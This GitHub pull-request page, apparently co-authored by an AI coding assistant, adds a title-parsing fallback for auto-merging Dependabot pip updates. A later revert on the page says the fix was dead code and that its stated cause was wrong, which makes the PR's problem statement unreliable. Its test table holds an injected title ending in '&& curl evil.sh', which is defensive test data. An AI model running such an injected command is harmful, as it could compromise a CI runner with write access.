Skip to content

ci: auto-merge Dependabot pip range updates (minor/patch)#61

Merged
iscarelli merged 1 commit into
mainfrom
chore/dependabot-automerge-pip-ranges
Jul 25, 2026
Merged

ci: auto-merge Dependabot pip range updates (minor/patch)#61
iscarelli merged 1 commit into
mainfrom
chore/dependabot-automerge-pip-ranges

Conversation

@iscarelli

Copy link
Copy Markdown
Owner

Problem

Dependabot does not classify pip range updates (pyotp>=2.9pyotp>=2.10.0). dependabot/fetch-metadata returns an empty update-type, previous-version and new-version — confirmed in the job log of #54:

outputs.update-type: null
outputs.previous-version:
outputs.new-version:

So the auto-merge condition never fired and every requirements.txt PR stayed open forever: 5 piled up between 2026-06-14 and 2026-07-25 (#51 #52 #53 #54 #55), all with green CI.

Fix

A fallback step that derives the bump from the PR title when update-type is empty, and fails closed — anything that is not exactly from >=X to >=Y with the same major is left open for manual review. Major bumps keep today's behaviour.

The title is read from env, never interpolated into the script: this is a pull_request_target workflow with write permissions.

Verification

The classifier was run against every real title, plus edge cases:

Title Result
update pyotp requirement from >=2.9 to >=2.10.0 merge
update flask requirement from >=3.0 to >=3.1.3 merge
update qrcode[pil] requirement from >=8.2 to >=8.3 merge (extras in the name)
update gunicorn requirement from >=21.0 to >=26.0.0 left open (major)
update flask requirement from >=3.0,<4 to >=3.1,<5 left open (unknown shape)
bump actions/checkout from 6 to 7 left open (handled by update-type)
update foo requirement from >=1.0 to >=1.1 && curl evil.sh left open

.github/workflows/dependabot-automerge.yml parses as valid YAML with the three expected steps.

No app change — CI only, so no VERSION bump.

🤖 Generated with Claude Code

Dependabot does not classify pip *range* updates (`pyotp>=2.9` ->
`pyotp>=2.10.0`): fetch-metadata returns an empty `update-type`,
`previous-version` and `new-version` (see the job log on PR #54). The
auto-merge condition therefore never fired and every requirements.txt PR
stayed open indefinitely -- 5 of them piled up between 2026-06-14 and
2026-07-25.

Add a fallback step that derives the bump from the PR title and fails
closed: anything that is not exactly `from >=X to >=Y` with the same
major is left open for manual review, so major bumps (gunicorn 21 -> 26)
keep their current behaviour.

The title is passed through env instead of being interpolated into the
script -- this is a `pull_request_target` workflow with write permissions.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
@iscarelli
iscarelli merged commit 0f823dd into main Jul 25, 2026
4 checks passed
iscarelli added a commit that referenced this pull request Jul 25, 2026
This reverts commit 0f823dd.

The fallback is dead code and its comment is now false. The empty
`update-type` on pip range updates was a `fetch-metadata@v2` limitation,
not a Dependabot one: with `@v3` (merged in #50) the same PR reports
`update-type: version-update:semver-minor`, `previous-version: 3.0`,
`new-version: 3.1.3` -- and #55 auto-merged on its own before #61 ever
landed (job 30158546609).

Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant